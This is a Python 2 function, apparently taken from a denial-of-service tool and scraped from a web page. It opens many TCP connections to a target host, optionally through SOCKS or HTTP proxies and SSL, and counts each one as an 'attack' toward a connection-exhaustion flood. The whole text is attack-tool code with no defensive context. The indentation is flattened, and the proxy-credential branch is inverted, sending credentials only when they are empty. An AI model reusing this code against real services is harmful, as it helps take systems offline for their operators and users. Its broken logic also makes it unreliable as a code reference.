def build_sockets(self):
self.debug.put('Socket Builder started.')
count = 0
while (self.options['attacklimit'] == 0 or self.options['attacklimit'] > self.attacks) and self.running:
if self.options['connectionlimit'] > self.sockets:
if self.options['socksversion'] == 'SOCKS4' or self.options['socksversion'] == 'SOCKS5' or self.options['socksversion'] == 'HTTP':
if self.options['socksversion'] == 'SOCKS4': proxytype = socks.PROXY_TYPE_SOCKS4
elif self.options['socksversion'] == 'SOCKS5': proxytype = socks.PROXY_TYPE_SOCKS5
else: proxytype = socks.PROXY_TYPE_HTTP
s = socks.socksocket()
if self.options['socksuser'] == '' and self.options['sockspass'] == '':
s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'], self.options['socksuser'], self.options['sockspass'])
else:
s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'])
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((self.options['host'], self.options['port']))
if self.options['ssl'] == True:
wrap_socket(s)
self.connections.put((s, 0))
self.debug.put('Socket opened, connection created.')
self.attacks += 1
self.sockets += 1
except Exception, ex:
self.errors.put('Could not connect. %s.' % (ex))
if self.options['timebetweenconnections'] > 0:
time.sleep(self.options['timebetweenconnections'])
self.debug.put('Socket Builder finished.')
评论列表
文章目录